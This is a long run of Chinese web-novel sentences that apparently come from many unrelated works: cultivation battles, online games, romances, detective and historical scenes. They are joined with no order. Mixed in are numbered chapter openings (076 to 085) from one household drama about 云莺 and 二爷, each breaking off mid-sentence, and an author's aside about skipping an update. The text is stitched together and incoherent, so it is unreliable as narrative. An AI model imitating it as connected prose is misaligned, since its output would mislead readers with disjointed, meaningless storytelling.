白茯苓顿时便态度闪缩起来,一双眼珠子转来转去不敢回看甘遂,全没了刚才质问紫草的义正词严。 “是什么事情,要你这样郑重其事的告诉我?”林夏也觉得很惊讶,所以他连忙问道。 “再然后呢?罗密欧真的死了吗?那朱丽叶醒过来看见罗密欧真的是死了,不是会很伤心?”洁西卡问道。 后来【辰封大陆】开服了,他便和自己的妹妹和员工们一起到辰封大陆游戏一番。 根据密探的汇报,这支伊马塔斯人部队并不属于和暗影生物大军战斗过的狂讽或是毒蝶的部队,而是一个伊马塔斯克隆人战争领主的部队,属于单纯的炮灰部队,战斗力远远没有狂讽或是毒蝶的部队那么强。 他们的目标是传承大殿,根本没必要为了这些蚂蚁和怪蛇浪费太多时间,所以苏云凉干脆地招呼人继续上路了。 尤其再加上办假证的情节,完全可以将白诚拘留半个月,让他错过这次庆典,减少变数。 感觉身后突然靠近的气息,方程口中大骂,还来不及伸出双手,身形陡然一转,朝着一旁飞速掠去,企图躲开这巨蟒的攻击。 洛神教会他不要多想,只要你确定自己需要变强,那么只管去努力变强就行了。 姜震宇接过名单,八个嫌疑人,现在都是五十出头,当年在南医大能拿到校徽。 更为劲爆的是,这些年来,风莫门一直在向烈阳帮发起挑战,却是不断的失败,若不是因为如此,风莫门也不可能落得如此境地。 “灵魂殒境!”夜王感受到那令自己也有危机感的灵魂感知力,同样心神震撼。 她有慕珂的腕表授权,而慕珂是刘明的贴身保镖,所以刘明的位置他时刻共享着。 以太阳岩的能力,绝对无法分心应对,从刚才的攻击中阿珂一方便摸清了太阳岩的极限。 076 她不对劲 这可是竹叶青,竹叶青啊! 她躲都来不及,她竟然还主动往前送菜。 这是在找死吧。 云莺一边惊呼一边闭上了眼,死之前还想着,早知道还不如如寻二爷。 去见二爷会让她难看窘迫,但不要命。 反观她现在……怕是再也没有机会见二爷了。 云莺这么想着,却没有感觉到预期内的疼痛,反 裴微微洗漱完,和周心去接了裴秀秀,三人前往大厅去吃早膳,有人早已经在等候了。 谢砚也不指望她们能赢苏沁舞,按照她们的要求把想要自个儿组队人归到同一组,其余人插入男生的组中。 谷雨很奇怪格蕾丝的态度,但这对于他来说并不算什么,有些事情就是要争分夺秒。心思打定,一脸野心勃勃的看着她。 赤井秀一给组织带来了很大的损失,也让核心成员相互之间的信任受到了影响。 巧荔微微一怔,但还是立马收拾好情绪,不慌不忙地走进贺强办公室。 可能就连他自己都没注意到,他会有那么着急的一面,刚才闻逸喊她的名字时的慌乱情绪,严肃警告她的模样,让她都有点陌生。 胡菲芸见状心疼地赶忙给巧荔递纸巾,然后又拍着她后背给她顺气,心疼的眼泪啪嗒啪嗒掉了下来。 外魔似乎有点慌张,在那枯萎没有延续过来的时候果断抛弃了近百条触手,血淋淋的一片即使在黑暗的外层空间看来也恶心够呛。 一闭上眼,就是林述抓着她的手,将匕首刺入她胸口的模样,如何都挥之不去。 只信系统的朱厚照双手合十,对密宗喇嘛们露出同样不失礼貌的微笑。他见到给皇帝爹跳大神舞的李广,也是同款微笑。这是礼貌和教养。 龙行此时早已在一处林后藏了起来。而此处距离龙鳞捷豹兽竟然只有不足二十米的地方。 不得不说,这些年白天行不求回报的援手,让他在人族高层积累了庞大的声望,倒是没有谁对他生出不敬的念头。 而刺宇此时似乎真的没有要逃的意思,只见他手持长剑一动不动的站在原地,狰狞的目光则是死死的瞪视着不远处的水柔冰。 “少依妹妹,生气了!要不,你别跟着这几个草包了!跟着我们哥仨,说不定到时候我们高兴,少不了你的贡献值!”另一人不怀好意的看着项少依说道。 邵阳别看一副粗人的样子,但是他的手摸过熊野身上的铠甲,就知道这是一件极其优秀的装备,更不要说其上淡淡的灵力波动了。 “好。”莫嵩在识海上方的表情肃穆起来,轻瞥一下恒星,心里五谷杂陈。 当然,也有一些天生喜欢冒险,刺激,战斗的家伙选择加入冒险者协会,不过这样的人少之又少。 心就像是被什么撕开般,那种空荡荡的痛苦,宛若将要失去一切的感觉。 “秦淮八艳”之一的陈圆圆,那个吴三桂冲冠一怒为红颜的陈圆圆。 而见到自己这一向思维异于常人的三弟,此刻难得智商上线一本正经分析着其中弊端,宁夜总有一种很是奇怪的感觉。 虽说刘娥挺招人厌的,可她不过就是一个被宠得过了头的任性姑娘,做的错事再多,却也罪不至死。 哪知此人竟是个靠不住的,得知边四娘意外有了身孕后便逃之夭夭,从此再也没有出现。 077 她不识好歹 云莺看到吓得瑟瑟发抖,哭做一团的穗儿,能有什么办法呢? 她什么办法都没有,最后只能带着柳儿,亲自忘前院走了一趟。 在前院外边碰上随雨、雷霆和墨雪三人一道往外走。 看见她带着柳儿过来,三人冲她微颔首。 也不知道是不是云莺的错觉,她总感到三人看她的眼神不对劲。那眼神该怎么说呢,很 “司令,我们去哪?”马义看着窗外,他们似乎是在往市区方向走。 “在家了,怎么啦?”我揉了揉惺忪的眼睛,窗外黑乎乎一片,猛地“轰隆隆”一声,一道闪电在武汉深夜开了花,我望着竟有些出了神。 “哗啦!”一整桶清水淋在萧雨头上,萧雨浑身一个激灵,睁开双眼,眼中一道凌厉的杀机一闪而过。 而霍家几人打开瓷瓶之后,也都是满脸震惊之色,这些丹药可比他们以前见过的丹药要好上许多,惊喜之余心中也不免震撼,元婴后期大修士出手果然是不凡。 我念着苏莫给我发过来的短信,又给他回了一条:说的这么悬疑,你丫算命的了。 阳火高温外放,因此我们时常会感受到阳火的高温炽热,而阴火内敛,不断吸收外界的温度为己用,看似阴火温度不高,但实则比阳火温度还要高千百倍。 就像当年的搜搜一样,不也是靠着一系列的创新,这才打败百度,打败智搜的么? “当然。”盖亚也不是吝啬的人,他对这个萨诺的印象也不错,于是将这个改变魔法轨迹的原理告诉了萨诺。 “往前走吧,现在只有继续往前走了。”盖亚说道,说完他就走在了前面,也不在说话了,似乎有什么很沉重的心事。 耶华海域非常广阔,盖亚瞬间穿越大陆的速度飞行了整整一天竟然还没有看见任何大陆的迹象。 在这里的人都愁眉苦脸的看着眼前的大门,眼前的大门充满了古老,显然已经有很多年了,而这大门紧紧的关在了一起,本来是有两扇门的,可因为时间的久了,在加上这大门又没有人开过,这大门看起来就是一扇门。 在我朝着原路返回的时候,在刻有龙的大门的时候,我停了下来,看这个大门,脸色微沉。 大家听了都很兴奋,毕竟在野外训练的感觉肯定是比在厂房里训练要好得多。 雷战说道:“其实也没有什么,只是路过,就过来看看你弄得怎么样了。”雷战本来是要去晚晴哪里的,真的是路过这里。 界面内,其它位面的数亿生灵,一个个都是向林飞投来畏惧的目光。 但这一次,却略有不同。因为巴尔出现的时候,他清晰的感触到了自己的灵魂。他甚至能够感受到自己的心跳,看见自己的皮肤,他惊喜的发现,除了杀戮之外,他居然有了自己的意识。 看到了雷战的表现,赵芙蓉的脸上流露出了一股很是促狭的笑容,不过她还是紧紧的挽住了雷战的胳膊,进到了这个让雷战很是心疼的建筑里面。 今天的离线,是被一只天蓝色的兔子射杀的,那该死的兔子居然会喷射魔法箭。 “不必管我你们现在要去哪里我会跟着走的。”秦院长见没人说话自顾自地说了一句便抱着九尾狐走到一旁打算打坐休息。 “呵呵,”青年人地笑容很让人恶心,尤其是身上传来地那股脂粉味,熏得月影都觉得呛鼻子。 078 云莺承受不起 云莺想七想八的时候,二爷不知何时写好了文书。 等他开始整理文书,云莺还在不自觉的磨墨。 回过神来的云莺就很无语,“您写完了也不告诉我,我这磨了半砚台的墨汁,这不浪费了么?” “怎么会浪费?”二爷看着她说:“你是不是有什么误解?我说过写完文书就结束了么?” “难不成您还要忙碌别 “原来,原来是这样,难怪我刚才总觉得好奇怪,原来雷子哥一直都没有使用过剑气。”想到这里,慕容天对雷诺佩服的已经是五体投地。 声音哽咽了半天,一向沉稳淡定的京城大玫瑰终于还是激动到了说不出话来的地步了。 “难道你想要打破传统,在这个时候……”球球对于雷诺如此大胆的想法,忽然震惊了。 “爹!不要杀他!”她看见地上的帅哥双目紧闭,口吐鲜血,于心不忍。 这是TS市最早的一片别墅区。整个区域大约有差不多一百栋别墅楼,都是独门独院的二层欧式风格建筑。 再加上曾毅虽然没有什么证据,但所说的却是事实,古正勇一时竟然不知道怎么回答。 “这种想法……唉……”我现在算是了解为什么了。原来死灵军团的天敌就是火领主,所以敌意就很浓。 星期六的早上叶浮生和东方玉晴约在了学校门口见面!十二月中旬的天气早已很冷了,北方大部分的地方都已经下了很大的雪,不过湖州到今天为止还是没有下!但这冷风吹在脸上犹如刀割一样,不是谁都能忍受的。 张根大不屑的看着这个软弱无力的拳头,这跟当初在重力室中的铁球相差太多太多了,而且这速度也十分的缓慢,现在的张根大甚至连根这种级别的人动手的欲,望都没有。 仅仅大师高手,就有近五十名,周师叔排名前十,可见,他是真正的绝世高手,一旦入世,那就是无敌的存在。 在杰西卡的办公桌有着一盆绿植,具体是什么植物薛晨也不认识,他不经意间看到盆里的泥土有点干了,于是拿起茶杯往里面洒了一些水。 林落雨站在那个滑板车上面的时候,他的脚背上立即被面板上的鞋箍套住,这让他有了几分安全感。 听到这话,厉大锤脸色顿时一变,望着木晨雪离开的方向,若有所思。 薛晨提出了自己的要求,办事员也当机立断的说没问题,他们研究所是很专业的可以很轻松的完成这项工作,而价格也不低,需要整整三万美元,可以在三天内完成检测。 毕竟幽冥之气与灵力还是有很大的区别,他也是第一次接触到这个概念,一时没弄明白也是正常的。 要说她这辈子第一个讨厌的人是谁,那就是高中的时候医院那个夺走她初吻的讨厌鬼。 一声惨叫把地下室里面的所有人都吓了一跳,当林落雨发现惨叫声是从辛琪琪那边发出来的时候,他立即跳到辛琪琪的泡泡筏板车上,从背后抱住被吓得面色惨白的辛琪琪。 眼前的吸血鬼掠食者便是吸血鬼一族以速度见长的典范,可即便是这样,他似乎还是慢了一步,没有逃脱姐妹二人的袭击。 听到这句话,胡老大也是赶忙往后挪挪步子,打算闪到自己兄弟的身后,可是他往后走了两步,却是摸不到自己的兄弟。 光翎斗罗带着司晨离开教皇殿后,比比东默默注视着他们离去的方向,然后冷哼一声,斜坐在自己的宝座上。 079 她不要他了 二爷是不是很愤怒,是不是恨不能将她的脑袋拧下来当球踢。 他是那样高高在上的一位贵公子,一出生便什么都有了。 他又是那样清贵俊美的容貌,平时往他身上扑的女人,怕是犹如过江之鲫。 可二爷全不看在眼里。 他只对她另眼相看,多有偏爱。 可她如今不要这些偏爱了,她将二爷的脸面也踩 “轰”的一声,战灵踏空而上,带着一种霸气,更有一种狂野,还有一种贪婪,锁定海狼,就是海狼,先把这美味弄到嘴里。 在黑暗中,不知道飘荡了多久,他们的眼中,终于出现了一丝亮光。 金色的太阳光辉在刘弈的背后亮了起来,虽然只有一丝丝,但刘弈可以感觉到,他手脚上的石化正在好转。 五人,其中一个青年脸上带着一道可怖的疤痕,一双瞳孔也是呈棕灰色,气息步入了元宗五重之境。 自己虽然拥有通玄境的修为,在武道一途之上却是达到了一些人难以企及的程度。 伴随着一个极为潇洒的转身,又是一道空间裂缝出现在了方自行的面前。他迈开脚步踏入裂隙,顷刻之间,就从众人的眼前消失,不见了。 一缕缕的星辰之力好似没有终止一般不断的进入这护体罡气之中而后围绕着叶皇旋转着最后进入其体内被其炼化最终纳入到丹田之中。 对此,不由人依然表现出一幅什么都不懂,什么都不知道,什么也不明白的模样。他再次耸了耸肩膀摇了摇头,重新对着那边的陶寨德,笑了一下。 但是让他丢下自己的同伴,独自一人回到城堡中,斯考特做不到,毕竟他们可是从萨森一路过来找他的。 这些都是他养的老鼠们。不,应该说是林微笑和鹿三帮他养的老鼠。 他扫了一眼追蓬所在的那座副炉,通过透明的炉体,能够看到他盘溪而坐的身影。 曾经,在很久以前,那个时候,整个世界都是习武时代,那是一个以武力为尊的世界。 “而且,我是简杨一家人带回来的,我们一起朝夕相处两个月,早就私定终身了!”霍尔妮自信的吹着牛皮,而梅洛则差点流下了眼泪。 陈战的身形,已经出现在了仙门弟子的身侧,然后嘴角渐渐浮现出一丝倨傲。 黎七羽不满,撒了一会酒疯。什么破酒吧,晚上不都通宵营业么,竟打烊那么早? 而持着剑的白衣居士,这一次似乎微微走了神。直到锐利的箭风在耳畔嘶响起来,他眸中才映出一丝意外的神情。 但是因为兖州城的关系,他一早已经与洛家的天才出现了敌对关系。 一股青色力量,流入大少双眼,青色力量灌入到大少的双眼后,陡然大少漆黑的双眸,变成了青黑色,很是诡异。 因为毕诗夜说得太漫不经心,姚清风一时间却也没感觉什么不对,倒是魏落恭一下子被肉给呛住。 可是他不能问,也没办法问,只能陪在她身边静静地等着那两父子回来。 火龙一出发出一声愤怒的咆哮,仿佛是结界的破碎惊醒了它的沉睡,巨大的双目愤怒俯视下方的震尨,一股霸道、强大无匹,威严之气瞬间笼罩震尨,令震尨倒退几分。 江南忍不住心中的好奇,便是抬起脚步,走向其中一处黑漆漆的洞口。 上官云飞的话让长孙靖茹的心里很不是滋味,她不知道自己今天做的到底是不是对的,如果是对的,为什么自己一点都不开心呢。 080 轻轻揭过 云莺自然是不会去前院见二爷的。 她都把话说绝了,哪里还有脸面去见他? 最后秋宁被她气走了。 边走秋宁还边放狠话,“云莺,你等着吧,总有你后悔的一天。” 云莺没反应,继续躺回美人榻中,眼中依旧空茫忙的,心中也似破了一个大洞,冷风呼呼的灌进来。 明明早就开春了,甚至都能穿单 这六条火焰蝰蛇是系统安排的宝箱守护者,如今见到宝箱被掏空,火焰蝰蛇们顿时发出了暴怒的“咝咝”声,朝着宁海扑了过来。 距离上一次东荒大帝出现的时间,已经过去了好几年,没想到,现在他竟然又出现了。 “这么多不同阵营的兵种协同作战还能士气高涨!”狂战九州惊讶地看了看灵雀,“领导术”特长,这个游戏中的能人真多。作为一个战区领导人,国际排名98位的“灵雀”果然不是徒有虚名。 然而,在他的头顶却有着一座大山,朝着那些洞玄境大圆满的修士,落去,山带着浩瀚的气息,让那些修士面色大变,仿佛凝聚修为用来抵抗。 “其实这里有一个很明显的漏洞,就是滁州裘监军遇害的时间,细细算来却是我离开后的第三日夜晚。”杨湛说道。 狂战九州面无人色,竟忘记了从战场上撤下来,敌军竟也不向他发动攻击。 刚看到此处,叶起却感觉一切都如同雾里看『花』一般模糊起来,再一眨眼,却是什么都看不见了,心知是男子有所察觉,隐藏了起来,叶起也不探究。 梅菲斯特:亡灵阵营第20号军营统帅,亡灵骑士英雄;特长,招魂术、生存术;属性不明,装备不明。 三圣功分为天、地、人三层境界,袁极雁已经修炼至地境,她既然彻底摆脱煞气侵扰,未来修炼的大道一片坦途,达到和父亲一样的天境不过是迟早之事。 “周懿君,你怎么样,还能不能在随我下去厮杀一番!”赵紫炎看着身边有些虚弱的周懿君说道。 雷羽先是围着水潭走了一圈确定没有危险后在一个茂密的大树下停住,伸手把背后三千多斤重的长枪取下,轻轻放在地上,虽说是轻轻,可那三千多斤的重量在那摆着呢,刚一松手就深深地陷入松软的土地,能有两公分深。 而璇玑城中的弟子何其多,穿着服饰悉如外人,唯有胸前佩戴着弟子徽章。 这届潮音大会,他当然知道十分重要,但是,后面那个幻灭峰的白衣年轻人,却让他杀心更炽。 他环视左右,获得了与之前之前完全不同的体验,解开绷带,腐烂的皮肤早已经变得光滑,咧嘴还能笑出声来,实力强大后,他不仅破除了毒血之苦,还重新获得了七情六欲。 他们都还没有出价,一直在等机会,然而谁也没有想到,短短片刻间,这枚烛阳果的价值,便炒到了如此之高。 因为在他们的眼里,梁萧接下来要做的事情,和困兽之斗是没有什么区别的,毕竟他们也看到了,就在刚才,面对他们的招式,梁萧一点还手的力量都没有,不能还手,也就意味着,梁萧没有武功。 我恍然大悟,霎时明白问题出在哪里了,后背浸满冷汗,毛骨悚然的感觉油然而生。 可这位神秘的老者,轻轻挥了挥手,他便毫无抵抗之力地灰飞烟灭,仿佛从未出现过在这人世间。 081提点 送走了国公爷,小冯氏依旧躺在床上。 她神色萎靡,精神不振,看着头顶上方的帷幔,不知道在想些什么。 丁姑姑见夫人嘴唇惨白,面色憔悴又虚弱,心里愧疚极了。 她请罪说,“说来说去都怪我,若非是我眼拙看走了人,让瑞珠那丫头管家,二爷也不至于差点被人谋害。” 小冯氏的思绪被丁姑姑拉回, 不过司徒风一方因为有白源和月红叶两人的存在,在整体实力上来说,却是丝毫不输于司徒空一方。 我去,这是在想什么,要是让谢莉知道了,非得一脚送自己去喜马拉雅山旅游一圈不可。也难怪石磊这么想,因为电视剧里的外国人,基本上都是这样,只是不知道住在国外的华侨会不会入乡随俗。 虽然之前就知道外面有警察来了,但林清婉一开门看到几个荷枪实弹的警察,还是有点吓傻了。 朱雄一声大喝,双手抓住对方的手猛然一挣、随着大脑里的宝贝珠白光一闪,‘扑哧’一把脱开对方的魔爪啪叽摔地上,一骨碌爬起来转身就跑。 “对了,既然齐藤君是黑市的A级杀手,那是可以引荐别人加入黑市吧?”加藤爱直接就开口了,说出了他的目的,他也没必要扭扭捏捏藏着掖着。 这是一座繁华而又热闹的宏伟城池,占地近方圆万里,城池内的许多建筑,都带着浓烈的剑修色彩。 他灵药园中的灵草之所以品阶极高,便是因为灵药园之中,灵力极为浓郁的缘故。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 这帮镶红旗人马、其中还有一些正蓝旗的被砸了个鸡飞狗跳,遗尸一路狼狈不堪滴逃进了城里;日后人人得了火炮恐惧症。 一年前,祝融城一役中,在最后危机关头,被许清河施展秘法救出。 说完,抓起一块披萨,吃了起来。因为浩岚早饭没吃,再加上他是一个超级大吃货,这盒披萨就被他再三分钟之内吃完了。 “不知道,应该不会”雷军还要回家,这边还有公司的事情要忙,又要保护陈飘飘还要消灭猛犸组织,太多太多的事情了,等这些事情忙完,基本假期也到了,所以没有时间去见她。 所以现在,他也有必要为了秦家做点什么,要是自己能借着大妖怪的手,只手镇压了赵家,那么想必之后就算是老祖仙逝,其他家族也不敢对秦家怎么着。 当夜三更,准备妥当,阮俊随欧怡至莫府后门,其按欧怡所求,至后门,果见有二门神贴于门上,其速将白纸贴盖之,见欧怡化一股白烟,速从门缝钻入。阮俊门外候之,恐其有不测。 “何叔,给我开个房间。”张天毅一路上没有觉察有人监视,长舒了口气,对门口房间的一个大爷喊道。 嘉定州本身是个大码头,载重千石的粮船可以畅行无阻。沿江而下,直面半个中国,一路劈波斩浪,顺风顺水,十几天内粮船便可直达上海县。军事地形学上所谓的必争之地,正是嘉定州这样的地方。 明白是明白了,但摆在萧博翰面前的这件事情就更为复杂,自己该怎么处理这棘手的问题呢? 082 寻娘家撑腰? 瑞珠之前也是她身边的大丫鬟,只是她被林淑清送去伺候二爷了。 这之后,不知是如何考虑的,林淑清再没提别的丫鬟上来。如此,林淑清身边如今只这三个大丫鬟管事。 三个大丫鬟中,瑞雪最是能说会道,她也最机灵,往日属她在林淑清面前最有颜面。 林淑清将瑞珠轻轻放过,瑞雪当时就觉得不妥。当时她还隐 而沈石在最后一个字还未说完的时候,身躯已经再次越过了数十米距离,冲到了黑鱼妖面前。 韩歌走过来,看到了叶天,顿时脸色一变,脑海中当年被虐待的那一幕浮现出来,额头冷汗都流了出来。 而此刻,最前排的燕京日报,广府日报等记者都下意识点点头,这些都跟他们了解到的差不多。 所以,徐无忧真的没有什么可担心的,放心大胆的学习就可以了。 艾丽卡瞳孔收缩的凝视西方,看到那边黑暗的地平线中,随着大地的不断抖动,爬出了一个庞大而扭曲的身影。 “直接没什么好,哪怕声泪俱全的控诉,都可以,互联网的包容性是很大的。”李方诚完全没所谓的说。 这一天,叶天从神识空间出来,在大黑洞中,继续吸收混沌之气。 叶重忽然想起那一次把她吓的昏过去的事,因此不敢造次,依言在马上转换位置。 当武力能够碾压一切,并且掺杂在经济政治里,便是难以抗衡的力量。 简禾抱着午休的枕头,草草浏览了几遍,就关掉了屏幕,趴在了桌面上。 “徐福爷爷,你说昆仑山里有一条河,应该是昆仑山山有一条河吧,这山的里边又怎么会有河呢。”我不解的问到。 双眼中泪水出现,但是他的面上却是笑容。相逢是一件开心的事情,去也让人悲伤,矛盾统一于一体。 一时间,她双掌上阴气氤氲弥漫,攻击时,伴随着滚滚乌烟,仿佛一尊魔神在显威。 四周探查了一番,发觉最后的一些煞气也是消失无踪,那空叶禅师在这里逗留许久,相来也是因为这里原本蕴含着的大量煞气。 白雪飞慌张了,自己是主事人好不好怎么就不按预先设定的程序往下走呢,好像没有自己的事一样。 由于担心吕尚他们遇到危险,所以关飞在看到集合信号的第一时间,便朝着他们所在的位置奔了过去。 沉重,沧桑,朴实,浩然的气息席卷这里。隐隐间,这蛮族宫殿散发着镇压一切的气势,让跪地的蛮族中人表情更加虔诚。 众人都观赏着少年表演,他从擂台左侧展武到擂台右边,又从擂台右边到擂台左边,毫不停歇却收放自如游刃有余,转身拳蹴,不拖泥带水,翻身空武,丝毫没有一丁点的累赘动作。 “不错。”孔宣看着六明星上的妖王,人族和谐相处,一切井然有序的发展,却是点了点头,很是赞同。 不过倒是对宅子的价值有了更深一步的了解。这包厢的装修非常的讲究,一点都没有偷工减料。 苏乐见着黄冬良这样一个让人觉得不舒服的轻佻模样,微微的拧了一下眉头。 大堂里有衣着齐整业界精英模样的人,也有看上去很普通附近居民区老人。 郑枫:诸葛坑爹,你遇到藤甲兵再告诉我,我帮你查探他们的动静。 苏凤子也没有回应,大概是觉得热,他终于慢条斯理脱下西装,然后伸手移过塑封好的扑克牌,缓缓撕下包装,开始噼里啪啦理牌。 083 瑞珠的谎言 林淑清天不怕地不怕,唯独害怕她的母亲长安候夫人。 此时看着母亲面色严厉,眸中带刀,林淑清先就怯了两分。 但她到底是长安候夫人的老来女,又最是得母亲宠溺纵容,此时见母亲这副严肃的模样,她先是畏惧,可随后又觉得委屈。 她顿时就哭了出来,“荣国公府的人欺负我,您不为我主持公道,反倒还逼问 忽闻车内有人,牛进达吃了一惊,忙问夫人是何人。夫人笑着说了路上结拜姐妹之事,又简要讲述了语嫣和方羽身怀功夫,却着重讲了语嫣的美妙舞姿。 原本棺材盖只是慢慢的升起突然被棺材里发出的力量高高击飞,消失在了房间里。突如其来的异变,令所有人沉默,所有人的目光都钉在了棺材上。 “嘿嘿,我这回来给燕大侠带了壶烈酒。”王靳朝着燕赤霞扔了一个酒葫芦。 正当张昭走出店门,想往酒店走回去时,看到那两名保安正上了车。“不好!该死的。”张昭唾骂一声,拼命往酒店方向跑去。 “好了,带他下去休息吧。”李察手指轻点他的额头,疯士兵直接昏睡过去,医护人员将他夹回房间。 我还想说怎么会有你这种老师呢,楚云想,不过这话也只能想想,他可不敢说出来,只能继续全神贯注地看着比赛。 叶檀知道自己在这里根本就没有办法做其他的事,还不如直接离开呢。 接下来王靳又求着秀荣公主要了一些大补的药材,就时刻准备着开始闭关修炼了。 是谁,在千年大唐里轻舞飞扬?是谁?在凝眸处最无胭脂泪裳?是谁,在风花雪月中诉说忧伤?一袭浅香不知打搅了谁的梦中记忆?烟雨迷蒙,又上演着哪一幕离合悲欢?兀自徜徉在唐朝似画如诗的烟雨中。 撩起帘子看着外面,思歆心里面只觉得一阵好奇,现在天都已经黑了,为什么还在赶路?难道是没有到下一站吗? 伴随着一道道血芒不断向着四周喷出来,越来越多的妖魔鬼怪被操控。 她们两个在宫里熬了这么多年,心心念念的就是挨到了年纪出宫去过正常日子,怎么甘心好端端的把命送在这儿? 李嫣然就有皱眉,介不介意又有什么用,这个男人的脸皮还真是厚。 不同于白芷得出度分如年,那些个宾客的兴致持续高昂着,在箱子像礼物盒一般被展开的时候,更是升到了新的高度。 眼神亮着,薅羊毛薅惯了的林逸,已经将目标锁定在了林天明林局长的身上。 莫颜很少见毛乐言发火,想不到她发火的模样竟然如此恐怖,心中当下一震,急忙退了出去。 人家都这样说了,张恒也没再客气,都已经到这个地步了,有啥事儿先给人家白菜拱了再说。 “进来吧。”稍稍调整了一下情绪,贺兰瑶对着门外的丫鬟轻声道。 她刚刚不断地在暗示,她有可能投靠皇上,就是想让皇上的臭棋变成好棋。 石后三兄弟的石后,顾名思义,他们爱躲在巨石后面,偷袭过往的玩家。 大概是赶了有半天的路,来到了黄昏中的翠亭镇。入镇后先找了一家客栈,三人叫了一点酒菜。里面六个桌子,只有两桌有人。 “打你妈的酱油。”荣铮被梁博远刺激大发,袖子一捋,没见他怎么动,下一秒就出现在了梁博远的跟前,揪住他的领子狂揍起来。 084 德言容功只占一个“容” 岭南府那是人去的地方么? 她知道他们往岭南府走了一个来回,如今对岭南府有多大的心理阴影么? 且不说岭南府有多少蛇鼠虫蚁、猛兽瘴气,只说沿途那些山匪、水匪,那都不是普通人能应付的。 就他兄弟一个人,他能不能平安走到岭南府都是个未知数,更别提还有趁云莺不备,将云莺卖到脏地方去。 婴落果实,便是九婴魔怪施展神通·婴落诅咒时,被当做诅咒媒介与能量源泉,一并献祭消耗掉的九婴还魂草果实。 清晨的第一缕光照撒在窗台上的植物中,将夜晚的寒意彻底驱散开来。 “给我……破!”长孙江终于高声吼道,灯笼鱼这时也被他用真气撑到了一个非常夸张的程度,随着他再次增加力道,灯笼鱼的体表逐渐开始破裂。 外面的冰墙碎掉了,稍微传送能量过去,在雨水的补给下又是道道冰墙生成。 歌罗德展览馆门口不远处,一位联邦探员正耐心的向这些来参展的富商们解释,试图平复他们的情绪。 一颗颗7·92内藏钢芯的重尖弹飞向蛇头,蛇头顿时被打成了一个个窟窿,巨蛇慢慢沉了下去。 波比提着锤子冲了过来,作为唯一的防御英雄,他需要承担队伍所有的防御工作,尤其是迦娜和索拉卡两个辅助不在的时候。 赵煦见这三间木屋建构得好生奇怪,竟没门户,不知如何进去,更不知进去作甚,一时呆在当地,没了主意,只得看向肖鹏。 侯爵虎躯一震,幸好有人扶着他,才没有摔倒,但他的脸色却是一变。 螭吻等人见状微微一怔,不是叫战吗?这声音……是不是太温和了点? 但血石咽不下这口气。他怎么也想不明白,和虎族有多年的买卖交情,为什么对方会专门针对血石家族下手,而且,这么不留情面? 自从在一次八卦讨论会上,几个孩子偷偷成立了少年首领护卫队,他们对于夏洛的崇拜和关注,就已经远远超过别人,只有奉夏洛为神使的洞穴族人可以媲美。 天水仙城,建立在一座青山绿水极为幽静的一块大陆之上,这块大陆至少也有万里方圆,而且天水仙城中央有一座直插天际的山峰,整座山峰都被葱翠的参天古木所覆盖。 下午两点,太阳最毒辣的时刻,沈鹿躲在阴影处等着,一个胖乎乎的大婶打着一把半旧不新的黑伞走了过来。 一道青铜铁墙在不知何时紧紧堵死了洞口,身后是数不清的药人,叫他上天无路,入地无门。 骷髅头微微一晃,继而朝着车兰馨嘴巴一张,一道乌光激射而出,朝着车兰馨射去。 林依对她摆了摆手,不过一件饰品而已,目前的自己完全有能力支付这十五两银子。 忽然感觉后背有一双温暖的大手附上,灵力通过那双手一点一点传送到白饶的丹田之中,识海也得以滋润。 “滚一边去,这没你的事儿!”朋克男一甩手,就想把陈笑棠甩到一边。 “我擦!你是不是抢了宝石店?”看到姜风发来的一大串的宝石图样和属性,独影惊讶道。 这就是职业等级的差异所带来的现实,尽管队友们已经足够努力了,但是让他们想要胜过这些成名已久的高手,的确是有些天方夜谭。 “这是什么东西,我怎么浑身恶寒,似乎很恐惧?”古铁浑浑噩噩的心想。 085 孽缘啊! 马车很快到了长安候府,林淑清已经下了马车,倒是瑞珠,此时终于知道怕了。 她龟缩在马车车厢中,若非刘妈妈让两个小丫鬟摆出阵势,在马车下等着她,她还想继续在车上窝下去。 但她终究没敢闹腾,乖顺的下车跟在了刘妈妈身后。 倒是没想到,一行人刚走进荣国公府,就看到世子夫人陪着丁姑姑从里边出来 因为马上就要发动起义了,那自然是要尽可能的增加己方的实力。 这样的人他以前也见过,但见的时候对方都已功成名就,成为一方大佬了。 都已经到了这个时候王府那边肯定会有越来越多的阴谋诡计是针对他的,若是这个孩子没了,周家一旦恼羞成怒,就不可能会对他们有什么好脸色,如此来看,所有的事情也都会不一样。 大厅内一共有六个门户,左右侧面各两个,前方角落各一个,此刻都关着门。 “要个屁!”黎雾一个虚闪一剑扎在克罗的腰间,脸色微微有些难看。 许弥大喝一声,手中多出一把锐利的短刀,对着猛扑过来的巨狼抬手就是一刀。 岳莺看向光幕,不要说其他人不相信了,她自己现在也感觉有些匪夷所思。 他拎枪绕着湖边溜达,通过绝对听力加持,对着岸边大鱼开始攻击。 今天上午送姥姥去了市里医院,陪着做检查什么的,下午才回家,实在码不出来,今天只有这些了。 他之前上大学就是学习的中医专业,虽然在校的时间比较短,但对药材的知识还是比较充足的。 五姨娘虽然平时看着性子大大咧咧,泼辣的很。但是在大是大非上面还是很能看的清,说话更是句句说到点子上。而她一番话自然也是说到了三姨娘的心里。 的确是很愤怒,所以黑子的父亲到现在还没出现。实际上他一直都在不远处飞行着,强压着自己的血压不让它升高到一个无法承受的地步。 所以苏衍阳与秦照清决定来到这座‘苍冉古城’,两人决定挑战这座古城中的高手,更是要与对方签订赌约,以此来获取更多自己想要的宝物。 看到这些逆天的装备,钟离发现自己的目光好像挪不走了,来来回回看了十几个遍,顿时倒吸一口凉气。 迪叙伸手扶他,在他耳边耳语两句。助理瞬间满血回归,器宇轩昂,气派十足地盯着迪叙。 显然,齐茗芝是知晓自己的这个弟弟的些许神秘的,但是也有着些许并不知道的秘密,例如如今早已成为齐家附庸的王城王家。 郁绍司把来意告诉了温璃,说完之后,他都不敢看温璃,因为心虚。 想到当年那个委婉的表白,想想当时不该说不敢说却又怕她被人捷足先登不得不说的心意,一张俊脸都微微泛红。 跟他们公司的宣发公关部门的人碰个头,分析一下局势和已做的应对,才好做下一步的规划和应对。 房子则错落有致的散布在田地间,依地势而建,没有丝毫的违和感,完全融入了大自然的景色之中。 “对了,你赶紧把昨天的账本拿出来,那可是我今天过来最主要的一件事。”沐浅夏催促道。 